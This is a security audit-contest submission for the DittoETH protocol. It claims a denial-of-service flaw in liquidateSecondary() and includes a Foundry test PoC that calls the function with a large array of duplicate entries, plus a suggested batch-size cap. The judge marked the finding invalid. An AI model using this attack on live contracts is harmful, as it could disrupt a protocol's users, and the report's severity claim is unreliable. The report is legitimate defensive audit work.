DittoETH
Ditto
DeFiFoundryOracle
55,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

DoS attack possible through `liquidateSecondary()`

t0x1c

Summary

The external function liquidateSecondary() can be called at any point of time by anyone with a huge array containing all duplicate elements and passed as the batches param. The current structure of the code logic will continue looping till the end of the array, making the protocol service unavailable for other users.

Vulnerability Details

Paste the following test inside the existing test/MarginCallSecondary.t.sol and run via forge test --mt test_DoS_LiquidateSecondary -vv:

function test_DoS_LiquidateSecondary() public {
/////////////////// few setup steps ////////////////////////
address _attacker = makeAddr("_attacker");
deal(_cusd, _attacker, DEFAULT_AMOUNT);
​
// create some active short records in the system
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // short id = 2; will be liquidated later
uint256 initialRecordCount = getShortRecordCount(sender);
assertEq(initialRecordCount, 1);
​
// change oracle price to effect cR
_setETH(750 ether); //roughly get cratio between 1.1 and 1.5
uint256 _cRatio = diamond.getCollateralRatio(asset, getShortRecord(sender, 2));
assertTrue(_cRatio > 1.1 ether && _cRatio < 1.5 ether);
////////////////////////////////////////////////////////////
​
// attack vector
vm.startPrank(_attacker);
uint8 attackArraySize = 100; // @audit-info : an attacker would keep this size huge
MTypes.BatchMC[] memory batches = new MTypes.BatchMC[](attackArraySize);
for (uint8 i; i < attackArraySize; ++i) {
// @audit-issue : can create the array with the same shortId again & again
batches[i] = MTypes.BatchMC({shorter: sender, shortId: 2});
}
diamond.liquidateSecondary(asset, batches, DEFAULT_AMOUNT, true); // @audit-issue : will result in a long loop; DoS
vm.stopPrank();
}

2 variations:
In the above PoC, an attacker just picks up a valid short eligible for secondary liquidation and then calls liquidateSecondary() using a huge duplicate array. In such a case, if and when control reaches L109 (this happens only after every element in the array has been looped through), the condition if (liquidateAmount == liquidateAmountLeft) is not satisfied (as a short was genuinely liquidated) and the function exits gracefully.

There could be a variation where the attacker just picks up any existing short record which might not even be eligible for secondary liquidation, then creates a huge duplicate array with this id and finally calls liquidateSecondary(). In this case, the code still loops through the whole array but if and when control reaches L109-L110, it reverts as no short got liquidated.

Impact

DoS attack makes the protocol service unavailable for other users.

Tools Used

Manual inspection and foundry.

Recommendations

Add the following constraint:

File: contracts/facets/MarginCallSecondaryFacet.sol
​
38 function liquidateSecondary(
39 address asset,
40 MTypes.BatchMC[] memory batches,
41 uint88 liquidateAmount,
42 bool isWallet
43 ) external onlyValidAsset(asset) isNotFrozen(asset) nonReentrant {
+ require(batches.length < 10, "batch too big");
44 STypes.AssetUser storage AssetUser = s.assetUser[asset][msg.sender];
45 MTypes.MarginCallSecondary memory m;
46 uint256 minimumCR = LibAsset.minimumCR(asset);
47 uint256 oraclePrice = LibOracle.getSavedOrSpotOraclePrice(asset);
48 uint256 secondaryLiquidationCR = LibAsset.secondaryLiquidationCR(asset);
49
50 uint88 liquidatorCollateral;

Developer can add a duplicate array element check too.

Updates

Lead Judging Commences

0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.